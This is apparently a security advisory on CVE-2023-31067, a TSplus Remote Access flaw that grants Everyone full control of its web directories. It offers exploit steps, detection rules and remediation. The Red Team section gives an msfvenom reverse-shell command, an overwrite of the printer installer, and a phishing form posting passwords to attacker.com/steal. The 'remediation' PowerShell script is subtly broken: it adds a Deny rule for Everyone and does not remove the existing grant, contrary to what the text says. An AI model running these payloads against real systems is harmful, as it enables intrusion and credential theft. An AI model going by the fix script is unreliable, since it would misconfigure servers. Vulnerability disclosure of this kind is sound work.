CVE-2023-31067

Executive Summary

CVE-2023-31067 exposes a critical misconfiguration in TSplus Remote Access versions up to 16.0.2.14. The vulnerability stems from insecure file and folder permissions set on the installation directory %PROGRAMFILES(X86)%/TSplus/Clients/www and its subdirectories. The Everyone group is granted Full Control permissions, allowing any local user to read, modify, or delete critical application files. This can lead to privilege escalation, persistent backdoors, or complete compromise of the TSplus server.

Key Risk: An authenticated local attacker can replace executable files (e.g., Setup-VirtualPrinter-Client.exe) or modify web resources (HTML, JS, CSS) to execute arbitrary code in the context of the TSplus service or any user accessing the web portal.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows application. The risk is to the integrity of the software supply chain at the deployment level, where an attacker can tamper with the installed application files.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 7.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user action is required for exploitation.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to all files.
• Integrity (I): High (H) – Full write access to all files.
• Availability (A): High (H) – Full delete access to all files.

Threat Level: High. The vulnerability is trivial to exploit and provides complete control over the TSplus installation.

Deep Dive & Mechanics

The root cause is a classic case of CWE-732: Incorrect Permission Assignment for Critical Resource. During installation, TSplus sets the discretionary access control list (DACL) on the Clients/www directory and its subdirectories to grant Everyone:(OI)(CI)(F) (Object Inherit, Container Inherit, Full Control). This means any user, including unprivileged users and even guest accounts, can:

1. Read any file in the directory tree.
2. Write to any file, including overwriting executables and configuration files.
3. Delete any file or directory.
4. Create new files or directories.

The exploit-db entry lists over 30 directories and 20 files with these insecure permissions. The most critical targets include:

• Setup-VirtualPrinter-Client.exe: An executable that can be replaced with a malicious binary. When a user or service runs this installer, the attacker's code executes.
• *.html, *.js, *.css files: These are served by the embedded web server. An attacker can inject malicious JavaScript (e.g., for credential harvesting or drive-by downloads) that will be executed in the browsers of all users accessing the TSplus web portal.
• *.jar files: Java archives can be replaced to execute arbitrary Java code on the server or client.
• *.config files: Configuration files like hb.exe.config can be modified to change application behavior, potentially leading to privilege escalation.

The vulnerability is not remotely exploitable in the traditional sense (no network service is directly vulnerable), but the impact is severe for any local user.

Vulnerable vs. Patched Code

Vulnerable Configuration (<= 16.0.2.14): The following PowerShell command shows the insecure ACL on a vulnerable directory:

Get-Acl -Path "C:\Program Files (x86)\TSplus\Clients\www" | Format-List

Output (truncated):

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\TSplus\Clients\www
Owner  : BUILTIN\Administrators
Group  : NT AUTHORITY\SYSTEM
Access : Everyone Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         ...

Patched Configuration (Hypothetical): A patched version would remove the Everyone group and grant permissions only to SYSTEM and Administrators. The correct ACL should look like:

$path = "C:\Program Files (x86)\TSplus\Clients\www"
$acl = Get-Acl $path
$acl.SetAccessRuleProtection($true, $false)
$rule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow")
$rule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow")
$acl.AddAccessRule($rule1)
$acl.AddAccessRule($rule2)
Set-Acl -Path $path -AclObject $acl

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with TSplus Remote Access <= 16.0.2.14 installed.
• A low-privileged user account (e.g., User or Guest).

Exploit Steps:

1. Identify Target Files: Use the list from the exploit-db entry. A prime target is Setup-VirtualPrinter-Client.exe.

   dir "C:\Program Files (x86)\TSplus\Clients\www\addons\Setup-VirtualPrinter-Client.exe"
   

2. Create Malicious Payload: Generate a reverse shell executable using msfvenom.

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
   

3. Replace the File: Overwrite the legitimate executable with the malicious one.

   copy /Y malicious.exe "C:\Program Files (x86)\TSplus\Clients\www\addons\Setup-VirtualPrinter-Client.exe"
   

4. Trigger Execution: Wait for an administrator or a user with higher privileges to run the virtual printer installer, or trick them into doing so. Alternatively, modify an HTML file to include a script that downloads and executes the payload.

Alternative Attack (Web Defacement):

1. Modify index.html to include a phishing form.

   <form action="https://attacker.com/steal" method="POST">
     Username: <input type="text" name="user"><br>
     Password: <input type="password" name="pass"><br>
     <input type="submit" value="Login">
   </form>
   

2. Any user visiting the TSplus web portal will see the fake login page.

Exploit-DB Code (Full):

# Exploit Title: TSplus 16.0.2.14 - Remote Access Insecure Files and Folders Permissions
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://tsplus.net/
# Version: Up to 16.0.2.14
# Tested on: Windows
# CVE : CVE-2023-31067

TSplus Remote Access (v. 16.0.2.14) is an alternative to Citrix and
Microsoft RDS for remote desktop access and Windows application
delivery. Web-enable your legacy apps, create SaaS solutions or remotely
access your centralized corporate tools and files.
The TSplus Remote Access solution comes with an embedded web server to
allow remote users to easely connect remotely.
However, insecure file and folder permissions are set and this could
allow a malicious user to manipulate file content (e.g.: changing the
code of html pages or js scripts) or change legitimate files (e.g.
Setup-VirtualPrinter-Client.exe) in order to compromise a system or to
gain elevated privileges.

This is the list of insecure files and folders with their respective
permissions:
Everyone:(OI)(CF)(F) and Everyone(F)
Permission: Everyone:(OI)(CI)(F)

C:\Program Files (x86)\TSplus\Clients\www
C:\Program Files (x86)\TSplus\Clients\www\addons
C:\Program Files (x86)\TSplus\Clients\www\ConnectionClient
C:\Program Files (x86)\TSplus\Clients\www\downloads
C:\Program Files (x86)\TSplus\Clients\www\prints
C:\Program Files (x86)\TSplus\Clients\www\RemoteAppClient
C:\Program Files (x86)\TSplus\Clients\www\software
C:\Program Files (x86)\TSplus\Clients\www\var
C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\remoteapp
C:\Program Files (x86)\TSplus\Clients\www\downloads\shared
C:\Program Files (x86)\TSplus\Clients\www\software\java
C:\Program Files (x86)\TSplus\Clients\www\software\js
C:\Program Files (x86)\TSplus\Clients\www\software\html5\jwres
C:\Program Files (x86)\TSplus\Clients\www\software\html5\locales
C:\Program Files (x86)\TSplus\Clients\www\software\html5\imgs\topmenu
C:\Program Files (x86)\TSplus\Clients\www\software\html5\imgs\key\parts
C:\Program Files (x86)\TSplus\Clients\www\software\java\img
C:\Program Files (x86)\TSplus\Clients\www\software\java\third
C:\Program Files (x86)\TSplus\Clients\www\software\java\img\cp
C:\Program Files (x86)\TSplus\Clients\www\software\java\img\srv
C:\Program Files (x86)\TSplus\Clients\www\software\java\third\images
C:\Program Files (x86)\TSplus\Clients\www\software\java\third\js
C:\Program Files
(x86)\TSplus\Clients\www\software\java\third\images\bramus
C:\Program Files
(x86)\TSplus\Clients\www\software\java\third\js\prototype
C:\Program Files (x86)\TSplus\Clients\www\var\log
C:\Program Files (x86)\TSplus\UserDesktop\themes
C:\Program Files (x86)\TSplus\UserDesktop\themes\BlueBar
C:\Program Files (x86)\TSplus\UserDesktop\themes\Default
C:\Program Files (x86)\TSplus\UserDesktop\themes\GreyBar
C:\Program Files (x86)\TSplus\UserDesktop\themes\Logon
C:\Program Files (x86)\TSplus\UserDesktop\themes\MenuOnTop
C:\Program Files (x86)\TSplus\UserDesktop\themes\Seamless
C:\Program Files (x86)\TSplus\UserDesktop\themes\ThinClient
C:\Program Files (x86)\TSplus\UserDesktop\themes\Vista

------------------------------------------------------------------------------

Permission: Everyone:(F)

C:\Program Files (x86)\TSplus\Clients\www\all.min.css
C:\Program Files (x86)\TSplus\Clients\www\custom.css
C:\Program Files (x86)\TSplus\Clients\www\popins.css
C:\Program Files (x86)\TSplus\Clients\www\robots.txt
C:\Program Files
(x86)\TSplus\Clients\www\addons\Setup-VirtualPrinter-Client.exe
C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\hb.exe.config
C:\Program Files
(x86)\TSplus\Clients\www\cgi-bin\SessionPrelaunch.Common.dll.config
C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\remoteapp\index.html
C:\Program Files (x86)\TSplus\Clients\www\RemoteAppClient\index.html
C:\Program Files (x86)\TSplus\Clients\www\software\common.css
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\jwres\jwwebsockify.jar
C:\Program Files (x86)\TSplus\Clients\www\software\html5\jwres\web.jar
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\exitlist.html
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\exitupload.html
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\getlist.html
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\getupload.html
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\postupload.html
C:\Program Files
(x86)\TSplus\Clients\www\software\html5\own\uploaderr.html
C:\Program Files (x86)\TSplus\Clients\www\software\java\index.html
C:\Program Files (x86)\TSplus\Clients\www\software\java\img\index.html
C:\Program Files (x86)\TSplus\Clients\www\software\java\img\port.bin
C:\Program Files (x86)\TSplus\Clients\www\software\java\third\jws.js
C:\Program Files (x86)\TSplus\Clients\www\software\java\third\sha256.js
C:\Program Files
(x86)\TSplus\Clients\www\software\java\third\js\prototype\prototype.js
C:\Program Files (x86)\TSplus\Clients\www\software\js\jquery.min.js

Blue Team

Detection & Prevention:

1. Audit Permissions: Immediately check the ACLs on the TSplus installation directory.

   Get-ChildItem -Path "C:\Program Files (x86)\TSplus" -Recurse | Get-Acl | Where-Object { $_.AccessToString -match "Everyone" }
   

2. Remediate Permissions: Remove the Everyone group from all affected directories and files.

   $paths = @(
       "C:\Program Files (x86)\TSplus\Clients\www",
       "C:\Program Files (x86)\TSplus\UserDesktop\themes"
   )
   foreach ($path in $paths) {
       $acl = Get-Acl $path
       $acl.SetAccessRuleProtection($true, $false)
       $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","ContainerInherit,ObjectInherit","None","Deny")
       $acl.AddAccessRule($rule)
       Set-Acl -Path $path -AclObject $acl
   }
   

3. File Integrity Monitoring (FIM): Enable FIM on the TSplus directory to alert on any file modifications. Use tools like Sysmon (Event ID 11) or Windows File Server Resource Manager.

4. Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block execution of unsigned binaries from the TSplus directory.

Indicators of Compromise (IOCs)

• File System:
  • Modified files in C:\Program Files (x86)\TSplus\Clients\www\ or subdirectories.
  • New files created by non-administrative users in the TSplus directory.
  • Presence of unexpected executables (e.g., malicious.exe) in the addons folder.
• Process:
  • Unusual child processes spawned from TSplus executables (e.g., cmd.exe or powershell.exe launched from Setup-VirtualPrinter-Client.exe).
• Network:
  • Outbound connections from the TSplus server to unknown IP addresses on unusual ports (e.g., 4444).
• Logs:
  • Windows Security Event ID 4663 (An attempt was made to access an object) with AccessMask indicating Write or Delete on TSplus files by a non-admin user.
  • Sysmon Event ID 11 (FileCreate) for new files in the TSplus directory.

Detection Engineering

YARA Rule

rule CVE_2023_31067_TSplus_Insecure_Permissions {
    meta:
        description = "Detects insecure file permissions on TSplus installation directory"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "CVE-2023-31067"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "Everyone:(OI)(CI)(F)" wide ascii
        $s2 = "Everyone:(F)" wide ascii
        $s3 = "C:\\Program Files (x86)\\TSplus\\Clients\\www" wide ascii
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: TSplus Insecure File Permission Modification
id: 3b3c3d3e-4f5a-6b7c-8d9e-0f1a2b3c4d5e
status: experimental
description: Detects attempts to modify files in the TSplus installation directory by non-privileged users.
author: Valters IT
date: 2024/05/24
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31067
logsource:
    product: windows
    service: security
    category: file_event
detection:
    selection:
        EventID: 4663
        ObjectName|startswith: 'C:\Program Files (x86)\TSplus\'
        AccessMask|contains:
            - '0x2'  # Write
            - '0x4'  # Delete
        SubjectUserName|endswith:
            - 'User'
            - 'Guest'
    condition: selection
falsepositives:
    - Legitimate TSplus updates performed by an administrator.
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2023-31067 TSplus Web Defacement - Modified HTML"; flow:to_server,established; content:"POST"; http_method; content:"/steal"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually Fix Permissions: As a Blue Team member, immediately run the PowerShell remediation script provided in the Blue Team section to remove Everyone permissions.
2. Isolate Affected Systems: If the system is critical, consider taking it offline until permissions are corrected.
3. Scan for Compromise: Check for any unauthorized file modifications using the IOCs and YARA rule.

Long-Term Fix:

• Vendor Patch: Contact TSplus support and request a patched version that sets correct permissions during installation. As of this report, no official patch is available.
• Re-Installation: If possible, reinstall TSplus and immediately apply the permission fix as a post-installation step.
• Configuration Management: Use Group Policy or a configuration management tool (e.g., Ansible, DSC) to enforce correct permissions on the TSplus directory across all servers.

Compensating Controls:

• Least Privilege: Ensure users have only the minimum necessary privileges. Do not allow standard users to log into TSplus servers.
• Application Whitelisting: Block execution of any binary from the TSplus\Clients\www directory unless it is signed by TSplus.
• Network Segmentation: Place TSplus servers in a separate network segment with strict firewall rules.

Valters IT

{/* [Security Hash: 9558FEADBF62652AE51189AD] */}